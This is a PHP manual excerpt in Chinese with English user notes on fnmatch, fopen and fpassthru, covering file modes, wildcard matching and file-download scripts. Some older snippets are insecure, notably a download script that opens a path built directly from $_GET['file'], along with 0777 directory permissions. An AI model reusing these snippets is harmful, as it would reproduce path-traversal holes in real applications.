I needed fnmatch for a application that had to work on Windows, took a look here and tested both. Jk's works for me, soywiz didn't (on WinXPSP2, PHP 5.2.3).
The only difference between them is addcslashes (soywiz) instead of preg_quote (jk). They _should_ both work, but for some reason soywiz's didn't for me. So YMMV.
However, to make JK's fnmatch() work with the example in the documentation, you also have to strtr the [ and ] in $pattern.
<?php
$pattern = strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.', '\[' => '[', '\]' => ']'));
?>
And thanks for the functions, guys.
Sinured 30-Jul-2007 10:14
Possible flags (scratched out of fnmatch.h):
...::...

FNM_PATHNAME:
> Slash in $string only matches slash in $pattern.

FNM_PERIOD:
> Leading period in $string must be exactly matched by period in $pattern.

FNM_NOESCAPE:
> Disable backslash escaping.

FNM_NOSYS:
> Obsolescent.

FNM_FILE_NAME:
> Alias of FNM_PATHNAME.

FNM_LEADING_DIR:
> From fnmatch.h: /* Ignore `/...' after a match.  */

FNM_CASEFOLD:
> Caseless match.

Since they're appearing in file.c, but are not available in PHP, we'll have to define them ourselves:
<?php
define('FNM_PATHNAME', 1);
define('FNM_PERIOD', 4);
define('FNM_NOESCAPE', 2);
// GNU extensions
define('FNM_FILE_NAME', FNM_PATHNAME);
define('FNM_LEADING_DIR', 8);
define('FNM_CASEFOLD', 16);
?>

I didn't test any of these except casefold, which worked for me.
Frederik Krautwald 12-Jun-2007 10:30
soywiz's function still doesn't seem to work -- at least not with PHP 5.2.3 on Windows -- but jk's does.
jk at ricochetsolutions dot com 13-Dec-2006 05:39
soywiz's function didnt seem to work for me, but this did.

<?php
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
?>
phlipping at yahoo dot com 06-Aug-2003 03:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
    $s .= '.'; // any character
   else if ($c == '*')
    $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
    $s .= $c;  // one of characters within []
   else
    $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";


打开文件或者 URL

  • ? fnmatch
  • fpassthru ?
  • PHP Manual
  • 文件系统函数
  • 打开文件或者 URL

fopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fopen — 打开文件或者 URL

说明

fopen(
string $filename,
string $mode,
bool $use_include_path = false,
?resource $context = null
): resource|false

fopen() 将 filename 指定的名字资源绑定到一个流上。

参数

filename

如果 filename 是 "scheme://..." 的格式，则被当成一个 URL，PHP 将搜索协议处理器（也被称为封装协议）来处理此模式。如果该协议尚未注册封装协议，PHP 将发出一条消息来帮助检查脚本中潜在的问题并将 filename 当成一个普通的文件名继续执行下去。

如果 PHP 认为 filename 指定的是一个本地文件，将尝试在该文件上打开一个流。该文件必须是 PHP 可以访问的，因此需要确认文件访问权限允许该访问。如果激活了 open_basedir 则会应用进一步的限制。

如果 PHP 认为 filename 指定的是一个已注册的协议，而该协议被注册为一个网络 URL，PHP 将检查并确认 allow_url_fopen 已被激活。如果关闭了，PHP 将发出一个警告，而 fopen 的调用则失败。

Note:

所支持的协议列表见支持的协议和封装协议。某些协议（也被称为 wrappers）支持 context 和／或 php.ini 选项。参见相应的页面哪些选项可以被设定（例如 php.ini 中用于 http wrapper 的 user_agent 值）。

On the Windows platform, be careful to escape any backslashes used in the path to the file, or use forward slashes.

<?php
$handle = fopen("c:\\folder\\resource.txt", "r");
?>

mode

mode 参数指定了所要求到该流的访问类型。可以是以下：

fopen() 中 mode 的可能值列表
mode | 说明
'r' | 只读方式打开，将文件指针指向文件头。
'r+' | 读写方式打开，将文件指针指向文件头。
'w' | 写入方式打开，将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' | 读写方式打开，否则行为同 'w'。
'a' | 写入方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。在这种情况下，fseek() 没有效果，写入总是追加。
'a+' | 读写方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。在这种情况下，fseek() 只相应读取位置，写入总是追加。
'x' | 创建并以写入方式打开，将文件指针指向文件头。如果文件已存在，则 fopen() 调用失败并返回 false，并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
'x+' | 创建并以读写方式打开，其他的行为和 'x' 一样。
'c' | Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to 'w'), nor the call to this function fails (as is the case with 'x'). The file pointer is positioned on the beginning of the file. This may be useful if it's desired to get an advisory lock (see flock()) before attempting to modify the file, as using 'w' could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested).
'c+' | Open the file for reading and writing; otherwise it has the same behavior as 'c'.
'e' | Set close-on-exec flag on the opened file descriptor. Only available in PHP compiled on POSIX.1-2008 conform systems.

Note:

不同的操作系统家族具有不同的行结束习惯。当写入一个文本文件并想插入一个新行时，需要使用符合操作系统的行结束符号。基于 Unix 的系统使用 \n 作为行结束字符，基于 Windows 的系统使用 \r\n 作为行结束字符，基于 Macintosh 的系统（传统 Mac OS）使用 \r 作为行结束字符。

如果写入文件时使用了错误的行结束符号，则其它应用程序打开这些文件时可能会表现得很怪异。

Windows 下提供了一个文本转换标记（'t'）可以透明地将 \n 转换为 \r\n。与此对应还可以使用 'b' 来强制使用二进制模式，这样就不会转换数据。要使用这些标记，要么用 'b' 或者用 't' 作为 mode 参数的最后一个字符。

默认的转换模式是 'b'。如果是操作纯文本文件并在脚本中使用了 \n 作为行结束符，但还要期望这些文件可以被其它应用程序例如 旧版本的 Notepad 读取，则在 mode 中使用 't'。在所有其它情况下使用 'b'。

在操作二进制文件时如果指定 't' 标记，可能会碰到一些奇怪的问题，包括坏掉的图片文件以及关于 \r\n 字符的奇怪问题。

Note:

为移植性考虑，强烈建议重写那些依赖于 't' 模式的代码使其使用正确的行结束符并改成 'b' 模式。

Note: 对于 php://output、php://input、php://stdin、php://stdout、php://stderr 和 php://fd 流封装协议，会忽略 mode。

use_include_path

如果也需要在 include_path 中搜寻文件的话，可以将可选的第三个参数 use_include_path 设为 '1' 或 true。

context

上下文流（context stream） resource。

返回值

成功时返回文件指针资源， 或者在失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

更新日志

版本 | 说明
7.0.16, 7.1.2 | 新增 'e' 选项。

示例

Example #1 fopen() 例子

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

注释

Warning

使用 SSL 时，Microsoft IIS 会违反协议不发送 close_notify 标记就关闭连接。PHP 会在到达数据尾端时报告"SSL: Fatal Protocol Error"。 要解决此问题，error_reporting 应设定为降低级别至不包含警告。PHP 4.3.7 及更高版本可以在使用 https:// 包装器打开流时检测出有问题的 IIS 服务器软件 并抑制警告。在使用 fsockopen() 创建 ssl:// 套接字时，开发者需检测并抑制此警告。

Note:

如果在用服务器模块版本的 PHP 时在打开和写入文件上遇到问题，记住要确保所使用的文件和目录是服务器进程所能够访问的。

Note:

This function may also succeed when filename is a directory. If you are unsure whether filename is a file or a directory, you may need to use the is_dir() function before calling fopen().

参见

  • 支持的协议和封装协议
  • fclose() - 关闭一个已打开的文件指针
  • fgets() - 从文件指针中读取一行
  • fread() - 读取文件（可安全用于二进制文件）
  • fwrite() - 写入文件（可安全用于二进制文件）
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • file() - 把整个文件读入一个数组中
  • file_exists() - 检查文件或目录是否存在
  • is_readable() - 判断给定文件名是否可读
  • stream_set_timeout() - Set timeout period on a stream
  • popen() - 打开进程文件指针
  • stream_context_create() - 创建资源流上下文
  • umask() - 改变当前的 umask
  • SplFileObject

User Contributed Notes

Derrick 13-Jan-2023 06:32
Opening a file in "r+" mode, and then trying to set the file pointer position with ftruncate before reading the file will result in file data loss, as though you opened the file in "w" mode.

EX:

$File = fopen($FilePath,"r+");  // OPEN FILE IN READ-WRITE

ftruncate($File, 0);  // SET POINTER POSITION (Will Erase Data)

while(! feof($File)) {  // CONTINUE UNTIL END OF FILE IS REACHED

    $Line = fgets($File);  // GET A LINE FROM THE FILE INTO STRING
    $Line = trim($Line);  // TRIM STRING OF NEW LINE
}

ftruncate($File,0); // (Will Not Erase Data)

fclose($File);
wvss at gmail dot com 15-May-2022 07:11
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<?php
// generiereHostliste.php

function generiereHostliste($file) {

   // aus Rechnerliste.csv lesen
   $fp = fopen($file, "r");
   while($row = fgetcsv($fp, 0, ";")) {
        $liste[]=[$row[0].";10.16.".$row[1].".".$row[2]];

   }
   fclose($fp);

   // in Hostliste.csv schreiben
   $fp = fopen("Hostliste.csv", "w");
   foreach($liste as $row) {
       echo "<pre>";
       print_r($row);
       echo "</pre>";
        fputcsv($fp, $row, ";");
   }
   fclose($fp);
}
// Test
$file = "Rechnerliste.csv";
generiereHostliste($file);

?>
</body>
</html>
wvss at gmail dot com 15-May-2022 07:10
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<?php
// generiereHostliste.php

function generiereHostliste($file) {

   // aus Rechnerliste.csv lesen
   $fp = fopen($file, "r");
   while($row = fgetcsv($fp, 0, ";")) {
        $liste[]=[$row[0].";10.16.".$row[1].".".$row[2]];

   }
   fclose($fp);

   // in Hostliste.csv schreiben
   $fp = fopen("Hostliste.csv", "w");
   foreach($liste as $row) {
       echo "<pre>";
       print_r($row);
       echo "</pre>";
        fputcsv($fp, $row, ";");
   }
   fclose($fp);
}
// Test
$file = "Rechnerliste.csv";
generiereHostliste($file);

?>
</body>
</html>
Anon. 07-Nov-2020 10:31
/***** GENTLE REMINDER *****/
Really important. Do NOT use the "w" flag unless you want to delete everything in the file.
php-manual at merlindynamics dot com 20-May-2020 10:19
There is an undocumented mode for making fopen non-blocking (not working on windows). By adding 'n' to the mode parameter, fopen will not block, however if the pipe does not exist an error will be raised.

$fp = fopen("/tmp/debug", "a"); //blocks if pipe does not exist

$fp = fopen("/tmp/debug", "an"); //raises error on pipe not exist
k-gun at git dot io 27-Oct-2019 06:22
Seems not documented here but keep in mind, when $filename contains null byte (\0) then a TypeError will be thrown with message such;

TypeError: fopen() expects parameter 1 to be a valid path, string given in ...
etters dot ayoub at gmail dot com 02-Feb-2018 04:18
This functions check recursive permissions and recursive existence parent folders, before creating a folder. To avoid the generation of errors/warnings.

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true folder has been created or exist and writable.
 *     False folder not exist and cannot be created.
 */
function createWritableFolder($folder)
{
    if (file_exists($folder)) {
        // Folder exist.
        return is_writable($folder);
    }
    // Folder not exit, check parent folder.
    $folderParent = dirname($folder);
    if($folderParent != '.' && $folderParent != '/' ) {
        if(!createWritableFolder(dirname($folder))) {
            // Failed to create folder parent.
            return false;
        }
        // Folder parent created.
    }

    if ( is_writable($folderParent) ) {
        // Folder parent is writable.
        if ( mkdir($folder, 0777, true) ) {
            // Folder created.
            return true;
        }
        // Failed to create folder.
    }
    // Folder parent is not writable.
    return false;
}

/**
 * This functions check recursive permissions and recursive existence parent folders,
 * before creating a file/folder. To avoid the generation of errors/warnings.
 *
 * @return bool
 *     true has been created or file exist and writable.
 *     False file not exist and cannot be created.
 */
function createWritableFile($file)
{
    // Check if conf file exist.
    if (file_exists($file)) {
        // check if conf file is writable.
        return is_writable($file);
    }

    // Check if conf folder exist and try to create conf file.
    if(createWritableFolder(dirname($file)) && ($handle = fopen($file, 'a'))) {
        fclose($handle);
        return true; // File conf created.
    }
    // Inaccessible conf file.
    return false;
}
petepostma-deletethis at gmail dot com 12-Apr-2017 03:40
The verbal descriptions take a while to read through to get a feel for the expected results for fopen modes. This csv table can help break it down for quicker understanding to find which mode you are looking for:

Mode,Creates,Reads,Writes,Pointer Starts,Truncates File,Notes,Purpose
r,,y,,beginning,,fails if file doesn't exist,basic read existing file
r+,,y,y,beginning,,fails if file doesn't exist,basic r/w existing file
w,y,,y,beginning+end,y,,"create, erase, write file"
w+,y,y,y,beginning+end,y,,"create, erase, write file with read option"
a,y,,y,end,,,"write from end of file, create if needed"
a+,y,y,y,end,,,"write from end of file, create if needed, with read options"
x,y,,y,beginning,,fails if file exists,"like w, but prevents over-writing an existing file"
x+,y,y,y,beginning,,fails if file exists,"like w+, but prevents over writing an existing file"
c,y,,y,beginning,,,open/create a file for writing without deleting current content
c+,y,y,y,beginning,,,"open/create a file that is read, and then written back down"
apathetic012 at gmail dot com 04-Sep-2012 03:19
a variable $http_response_header is available when doing the fopen(). Which contains an array of the response header.
chapman at worldtakeoverindustries dot com 09-Mar-2012 07:25
Note - using fopen in 'w' mode will NOT update the modification time (filemtime) of a file like you may expect. You may want to issue a touch() after writing and closing the file which update its modification time. This may become critical in a caching situation, if you intend to keep your hair.
kasper at webmasteren dot eu 10-Feb-2012 08:36
"Do not use the following reserved device names for the name of a file:
CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1,
LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names
followed immediately by an extension; for example, NUL.txt is not recommended.
For more information, see Namespaces"
it is a windows limitation.
see:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx
php at richardneill dot org 01-Aug-2011 09:39
fopen() will block if the file to be opened is a fifo. This is true whether it's opened in "r" or "w" mode.  (See man 7 fifo: this is the correct, default behaviour; although Linux supports non-blocking fopen() of a fifo, PHP doesn't).
The consequence of this is that you can't discover whether an initial fifo read/write would block because to do that you need stream_select(), which in turn requires that fopen() has happened!
splogamurugan at gmail dot com 09-Jun-2011 02:13
While opening a file with multibyte data (Ex: données multi-octets), faced some issues with the encoding. Got to know that it uses  windows-1250. Used iconv to convert it to UTF-8 and it resolved the issue.

<?php
function utf8_fopen_read($fileName) {
    $fc = iconv('windows-1250', 'utf-8', file_get_contents($fileName));
    $handle=fopen("php://memory", "rw");
    fwrite($handle, $fc);
    fseek($handle, 0);
    return $handle;
}
?>

Example usage:

<?php
$fh = utf8_fopen_read("./tpKpiBundle.csv");
while (($data = fgetcsv($fh, 1000, ",")) !== false) {
    foreach ($data as $value) {
        echo $value . "<br />\n";
    }
}
?>

Hope it helps.
php at delhelsa dot com 24-Jun-2008 12:27
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed.

i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be:

ftp://blossom:buttercup@example.com//var/school/bubbles.txt

Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville.
sean downey 09-Feb-2008 12:23
when using ssl / https on windows i would get the error:
"Warning: fopen(https://example.com): failed to open stream: Invalid argument in someSpecialFile.php on line 4344534"

This was because I did not have the extension "php_openssl.dll" enabled.

So if you have the same problem, goto your php.ini file and enable it :)
ceo at l-i-e dot com 10-Apr-2006 08:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
flobee 14-Jan-2006 07:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
        $rh = fopen($file_source, 'rb');
        $wh = fopen($file_target, 'wb');
        if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
        }
        while (!feof($rh)) {
            if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
        }
        fclose($rh);
        fclose($wh);
        // No error
        return false;
    }
?>
info at b1g dot de 24-Oct-2005 04:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.example.com');
echo $r->DownloadToString();

class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port

    // scan url
    function _scan_url()
    {
        $req = $this->_url;

        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));

        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);

        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }

        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }

    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }

    // download URL to string
    function DownloadToString()
    {
        $crlf = "\r\n";

        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;

        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);

        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));

        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else
        {
            return($body);
        }
    }
}
?>
durwood at speakeasy dot NOSPAM dot net 06-Sep-2005 11:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
ideacode 03-Aug-2005 07:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
ken dot gregg at rwre dot com 25-Nov-2003 03:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

<?php
$fd = fopen('/home/mydir/' . $somefile, 'r');
?>

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com 19-Nov-2003 11:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
    while(1) {
      if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
      }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
keithm at aoeex dot NOSPAM dot com 31-Jul-2001 05:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
    if (!isset($GLOBALS['StdinPointer'])){
        $GLOBALS['StdinPointer']=fopen("php://stdin","r");
    }
    $line=fgets($GLOBALS['StdinPointer'],$length);
    return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>


输出文件指针处的所有剩余数据

  • ? fopen
  • fputcsv ?
  • PHP Manual
  • 文件系统函数
  • 输出文件指针处的所有剩余数据

fpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

fpassthru — 输出文件指针处的所有剩余数据

说明

fpassthru(resource $stream): int

将给定的文件指针从当前的位置读取到 EOF 并把结果写到输出缓冲区。

如果已经向文件写入数据，就必须调用 rewind() 来将文件指针指向文件头。

如果既不修改文件也不在特定位置检索，只想将文件的内容下载到输出缓冲区，应该使用 readfile()，这样可以省去 fopen() 调用。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

返回从 stream 读取并传递到输出的字符数量。

示例

Example #1 对二进制文件使用 fpassthru()

<?php

// 以二进制格式打开文件
$name = './img/ok.png';
$fp = fopen($name, 'rb');

// 发送合适的报头
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// 发送图片并终止脚本
fpassthru($fp);
exit;

?>

注释

Note:

当在 Windows 系统中将 fpassthru() 用于二进制文件，要确保在用 fopen() 打开文件时在 mode 中附加了 b 来将文件以二进制方式打开。

鼓励在处理二进制文件时使用 b 标志，即使系统并不需要，这样可以使脚本的移植性更好。

参见

  • readfile() - 输出文件
  • fopen() - 打开文件或者 URL
  • popen() - 打开进程文件指针
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接

User Contributed Notes

RaulentRoi 06-Jun-2013 02:55
Passthru didn't work for me for files greater than about 5Mb. Just adding "ob_end_clean()", all works fine now, including > 50Mb files.

$ToProtectedFile=$pathUnder.$filename
$handle = @fopen($ToProtectedFile, "rb");

@header("Cache-Control: no-cache, must-revalidate");
@header("Pragma: no-cache"); //keeps ie happy
@header("Content-Disposition: attachment; filename= ".$NomFichier);
@header("Content-type: application/octet-stream");
@header("Content-Length: ".$SizeOfFile);
@header('Content-Transfer-Encoding: binary');

ob_end_clean();//required here or large files will not work
@fpassthru($handle);//works fine now
public at telcontar dot net 08-Apr-2007 01:26
(Do not delete this, it is NOT a bug report. It is a *follow up* to vague comments on the page about fpassthru() using excessive memory, and a usage tip that if you want to use pass-through processing, PHP 5 is strongly advised. It may LOOK like a bug report because unlike earlier tips, I've tried to clarify the situation. It is not a bug report because the problem is RESOLVED in PHP 5. Rather, anyone still using PHP 4 (for example, for compatibility reasons) should simply be aware that the problem is now resolved.)

In PHP 4 (4.4.4 tested as a CGI, Apache 2, Linux), use of both fpassthru() and fread() in a loop suffer the SAME memory "leakage". This is characterised by all data that is sent to the client also being kept inside PHP and not released. It would appear to be a failure to garbage collect the data.

In PHP 5 (5.2.1 tested as a CGI, Apache 2, Linux) this flaw is resolved in both cases. Neither fpassthru() nor fread() in a loop "leak" memory during execution.

The issue of which one to use appears not to be an issue of memory as both were equally flawed in PHP 4 and both are equally fixed in PHP 5.

Speed, is left to a reader exercise to test in the latest PHPs.
sarabas at itstudio dot pl 23-Mar-2007 02:55
In case of multiple buffering possibility try running ob_end_clean() from the example below in a loop:

while (@ob_end_clean());

It will help for example in case of automatic gz compression of output.
file downloads verified by session vars 21-Oct-2005 08:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
    session_write_close();
    ob_end_clean();
    if (!is_file($path) || connection_status()!=0)
        return(FALSE);

    //to prevent long file from getting cut off from     //max_execution_time

    set_time_limit(0);

    $name=basename($path);

    //filenames in IE containing dots will screw up the
    //filename unless we add this

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
        $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

    //required, or it might try to send the serving     //document instead of the file

    header("Cache-Control: ");
    header("Pragma: ");
    header("Content-Type: application/octet-stream");
    header("Content-Length: " .(string)(filesize($path)) );
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header("Content-Transfer-Encoding: binary\n");

    if($file = fopen($path, 'rb')){
        while( (!feof($file)) && (connection_status()==0) ){
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}

?>
jonathan at corporacionlinux dot cl 05-Aug-2005 08:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
    $name = $tempDir . $_GET["file"];
    $fd = fopen($name, 'rb');

    if($fd == false)

        die("<font color=red>ERROR: File not found.</font>");

    // send the right headers
    header("Cache-Control: ");// leave blank to avoid IE errors
    header("Pragma: ");// leave blank to avoid IE errors
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
    header("Content-length:".(string)(filesize($name)));
    sleep(1);

    session_write_close();
    ob_flush();
    flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

    $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
webmaster at hardcorehoneyz dot com 16-Dec-2004 05:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com 06-Dec-2004 05:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com 15-Nov-2004 12:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
    function download($file) { ... }

    $filename = "/tmp/test.zip";
    download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
    ob_start("ob_gzhandler");
    ...
    require_once(download.php);
    ...
    $filename = "/files/file.zip";
    download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk 03-Nov-2004 05:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
    while(!feof($fp)) {
        $buf = fread($fp, 4096);
        echo $buf;
        $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
    }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
    if($bytesSent==filesize($file)) {
        /* Do some cool stuff here! */
    }
?>
nexz2004 at yahoo dot com 21-May-2004 12:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
